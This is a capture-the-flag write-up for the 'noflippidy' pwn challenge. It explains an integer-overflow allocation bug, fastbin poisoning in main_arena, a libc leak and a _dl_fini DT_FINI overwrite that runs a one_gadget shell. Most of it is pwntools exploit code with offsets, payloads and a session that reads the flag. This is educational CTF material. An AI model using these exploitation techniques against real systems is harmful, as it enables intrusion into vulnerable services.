noflippidy

Have you played DiceCTF 2021? We sure did! We even solved a challenge! Here, have some writeups: https://ctftime.org/task/14692 Note: the server of course runs the “noflippidy” binary. This challenge is running on Ubuntu 18.04.

nc noflippidy.hackable.software 1337

Attachment: noflippidy.tar.gz xpl.py

Team: Super Guesser

---------- FLIPPIDYDIPPILF ----------
In this very realistic scenario our protagonist (you!) finds himself in search of a notebook...
That can flip itself!
This notebook flips its pages very well. I hope it suits someone as powerful as you.


Just give it the word, and the pages will reverse themselves!
To get started, first tell us how big your notebook will be: 10


----- Menu -----
1. Add to your notebook
2. Flip your notebook!
3. Exit
:

noflippidy seemed to be a remake of the flippidy challenge, but the binary was patched.

When trying to flip the notebook, it would first check, if the canary is 0x0 and otherwise just leaves the function, effectively disable the usage of flip completely.

The only thing, we can do, is adding new entries to our notebook, which would not give us much to work with, if there wasn’t another bug in the allocation of the notebook itself.

printf("%s", "To get started, first tell us how big your notebook will be: ");
NOTEBOOK_SIZE = read_int();
NOTEBOOK = malloc(8 * NOTEBOOK_SIZE);

Since NOTEBOOK_SIZE is an int, 8 * NOTEBOOK_SIZE can overflow, which would lead in a big NOTEBOOK_SIZE but a smaller allocated NOTEBOOK chunk, by which we could then add notebook entries outside of the allocated chunk.

But as long, as we stay on the heap, this would also not be very useful, since there are no calls to free or anything useful on the heap to overwrite. Allocating a notebook with a size, which will not be served by heap but by an mmapped region on the other hand might make this oob access more useful.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "noflippidy.hackable.software"
PORT = 1337
PROCESS = "./noflippidy"

def add(idx, data):
	r.sendline("1")
	r.sendlineafter(": ", str(idx))
	r.sendlineafter(": ", data)
	LEAK = r.recvuntil(": ")
	return LEAK

def flip():
	r.sendline("2")
	r.recvuntil(": ")

def exploit(r):
	log.info("Create notebook in mmapped region before libc")
	r.sendlineafter(": ", str(0x300200020/8))
	r.recvuntil(": ")
	
	r.interactive()
	
	return

if __name__ == "__main__":
	libc = ELF("./libc.so.6")

	if len(sys.argv) > 1:
		LOCAL = False
		r = remote(HOST, PORT)		
	else:
		LOCAL = True
		r = process("./noflippidy", env={"LD_PRELOAD":"./libc.so.6"})		
		print (util.proc.pidof(r))
		pause()
	
	exploit(r)
0x404110:	0x0000000000000000	0x0000000000000000
0x404120 <stdout>:	0x00007ffff7dce760	0x0000000000000000
0x404130 <stdin>:	0x00007ffff7dcda00	0x0000000000000000
0x404140 <stderr>:	0x00007ffff7dce680	0x0000000000000000
0x404150:	0x0000000060040004	0x00007ffff77e1010 <= NOTEBOOK_SIZE / NOTEBOOK
0x404160:	0x0000000000000000	0x0000000000000000

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /media/sf_ctf/dragon21/flip/task/noflippidy
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff77e1000 0x00007ffff79e2000 0x0000000000000000 rw- <= NOTEBOOK region
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /media/sf_ctf/dragon21/flip/task/libc.so.6
0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw- 
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ff5000 0x00007ffff7ff7000 0x0000000000000000 rw- 
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

The notebook is now allocated directly before libc, thus all relative offsets will be the same (despite ASLR) to the libc rw region as also to ld rw region.

Now the oob access in notebook becomes more useful. Since offsets will always be the same, we can create notes and have their pointers overwrite something in either libc or ld. exitfuncs of libc are mangled, so there’s no point in overwriting them, but we can abuse _dl_fini from ld to get rip control.

void_dl_fini (void)
{  
          ...
          
          _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
                         NULL, true);
          
          ...

          for (i = 0; i < nmaps; ++i)
            {
              struct link_map *l = maps[i];
              if (l->l_init_called)
                {
                  l->l_init_called = 0;
                  
                  if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL)
                    {                      
                      /* First see whether an array is given.  */
                      if (l->l_info[DT_FINI_ARRAY] != NULL)
                        {
                          ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                          
                          unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                                            / sizeof (ElfW(Addr)));

                          while (i-- > 0)
                            ((fini_t) array[i]) ();
                        }

                      /* Next try the old-style destructor.  */
                      if (l->l_info[DT_FINI] != NULL)
                        DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
                    }
            ...
}

This gives us two primitives to do arbitrary calls.

One is by overwriting DT_FINI_ARRAY, which will result in calling our function by ((fini_t)array[i])();. Though, we can only define an address which points to the function we want to call.

The second call is DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);, where we can store an arbitrary address, which will be called.

At first, I tried combining those two (also since at first, I only mmapped a region before ld, thus having no access to libc), to use the first call to leak something and the second call to jump back into main. But we’ll not be able to trigger _dl_fini again after that and we would only be able to leak a heap address, which didn’t really helped much.

After a while, I changed the notebook size, as shown at the beginning, and with having a region before libc, we have a better chance to get a leak before going into _dl_fini. When discussing this with hk, he brought up the idea, that we could abuse freelist in main_arena to allocate arbitrary chunks, which worked out pretty well.

For getting a leak, I created a chunk, which looked like a freed fastbin and used the relative offset oob, so that the pointer to this chunk would be put into 0x40 fastbin in main_arena.

payload = p64(0x0) + p64(0x41)
payload += p64(0x404000)            <= points above menu_ptrs

add((0x5ecc60-0x10)/8, payload)     <= offset to 0x40 fastbin main_arena

Now, we just have to allocate another 0x40 chunk and the next chunk would overwrite the menu pointers, so we just put a pointer to stdout into it. By doing that, the challenge will print stdout on every menu print, thus we can just read it and calculate libc base.

add(1, "A")

log.info("Overwrite menu_ptr with pointer to stdout")
payload = "A"*0x10
payload += p64(0x404120)    # point to stdout

LEAK = u64(add(2, payload)[2:2+6].ljust(8, "\x00"))
libc.address = LEAK - libc.symbols["_IO_2_1_stdout_"]

log.info("LIBC        : %s" % hex(LEAK))
log.info("LIBC        : %s" % hex(libc.address))

Since we now still have the overwrite for l->l_info[DT_FINI], we can now just call a one_gadget:

log.info("Overwrite DT_CALL_DT_FINI with one_gadget")		
ONEGADGET = libc.address + 0x4f432

# DL_CALL_DT_FINI
payload = "A"*8
payload += p64(ONEGADGET)			    # call 2 (one gadget)
	
add((0x81c000 + 0x1208) / 8, payload)

log.info("Exit to trigger _dl_fini")	
r.sendline("3")
$ python xpl.py 1
[*] '/media/sf_ctf/dragon21/flip/task/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to noflippidy.hackable.software on port 1337: Done
[*] Create notebook in mmapped region before libc
[*] Overwrite 0x40 freed fastbin in main_arena and point it to bss
[*] Overwrite menu_ptr with pointer to stdout
[*] LIBC        : 0x7fe5c53aa760
[*] LIBC        : 0x7fe5c4fbe000
[*] Overwrite DT_CALL_DT_FINI with one_gadget
[*] Exit to trigger _dl_fini
[*] Switching to interactive mode
$ ls
flag.txt
noflippidy
$ cat flag.txt
DrgnS{R3m3m83r_k1dS_s734L1nG_Is_N07_c00L}